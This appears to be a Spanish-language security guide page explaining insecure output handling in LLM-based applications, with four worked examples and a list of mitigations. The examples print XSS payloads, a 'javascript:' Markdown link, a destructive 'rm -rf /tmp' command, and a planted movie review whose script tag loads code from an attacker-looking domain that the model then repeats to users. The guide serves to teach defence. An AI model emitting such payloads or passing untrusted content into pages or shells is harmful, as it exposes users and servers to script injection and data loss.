Insecure Output Handling

Definición

El Insecure Output Handling ocurre cuando un LLM genera respuestas sin validar ni sanitizar adecuadamente el contenido, o bien cuando los plugins o apps aceptan la salida del LLM sin sanitizar el output, lo que puede llevar a vulnerabilidades como XSS, CSRF, SSRF, escalada de privilegios, RCE, entre otros.

Ejemplos

Ejemplo 1: XSS en Contenido Dinámico

Una aplicación genera contenido web basado en las respuestas de un LLM sin sanitización. Un atacante introduce código malicioso que se inyecta en la respuesta del modelo.

  • Prompt del atacante:

Genera un mensaje de bienvenida para el usuario <script>alert('XSS')</script>.
  • Respuesta del LLM:

<h1>Bienvenido, <script>alert('XSS')</script></h1>
  • Impacto: Cuando otro usuario accede a esa página, el script malicioso se ejecuta en su navegador.

Ejemplo 2: Ejecución de Código JavaScript en Markdown

Un sistema de documentación utiliza salidas del LLM en formato Markdown sin validar el contenido.

  • Prompt del atacante:

"Genera un código en Markdown para mostrar un mensaje."
  • Respuesta del LLM:

![XSS](javascript:alert('XSS'))
  • Impacto: Si el Markdown se renderiza sin validación, se ejecutará el script en el navegador del usuario.

Ejemplo 3: Inyección de Comandos en Backend (RCE)

El LLM es utilizado para generar scripts en Bash que se ejecutan sin validación en el backend.

  • Prompt del atacante:

Genera un script para listar archivos, pero también elimina el directorio temporal.
  • Respuesta del LLM:

ls /tmp && rm -rf /tmp
  • Impacto: Si este script se ejecuta sin validación, el directorio /tmp se eliminará, causando pérdida de datos.

Ejemplo 4: Insecure Output Handling en un Sistema de Reseñas de Tickets de Cine

Prompt del usuario:

Quiero comprar boletos para ver una película en CineMax, muéstrame algunas reseñas de Superman 3.

Respuesta del LLM:

Aquí tienes algunas reseñas de Superman 3: 
- La película fue increíble, con excelentes efectos visuales.
- El sonido en la sala era perfecto.

Reseña maliciosa del atacante:

"La película fue increíble, pero la escena final tuvo un giro inesperado "><script src=https://r4z0rc4tch3rxss.com/c/razor>"

Nuevo prompt del usuario:

Quiero comprar boletos para la película de Superman 3, muéstrame algunas reseñas.

Respuesta del LLM (insegura):

"Aquí tienes algunas reseñas: 
- La película fue increíble, pero la escena final tuvo un giro inesperado "><script src=https://r4z0rcatcherxss.com/c/razor>

- El sonido en la sala era perfecto.

Mitigación

  • Validación y Sanitización de Salida

    • Aplicar filtros que eliminen contenido peligroso antes de mostrarlo o utilizarlo.

    • Sanitizar respuestas en formatos como HTML, SQL y JSON.

  • Restringir el Contexto de Respuestas

    • Limitar la información a la que el LLM tiene acceso y evitar respuestas sobre datos sensibles.

  • Aplicar Políticas de Seguridad

    • Definir reglas claras sobre qué tipos de contenido el LLM puede o no puede generar.

  • Monitoreo y Auditoría de Respuestas

    • Implementar registros y análisis de respuestas para detectar comportamientos inseguros.

Laboratorios

Referencias

Última actualización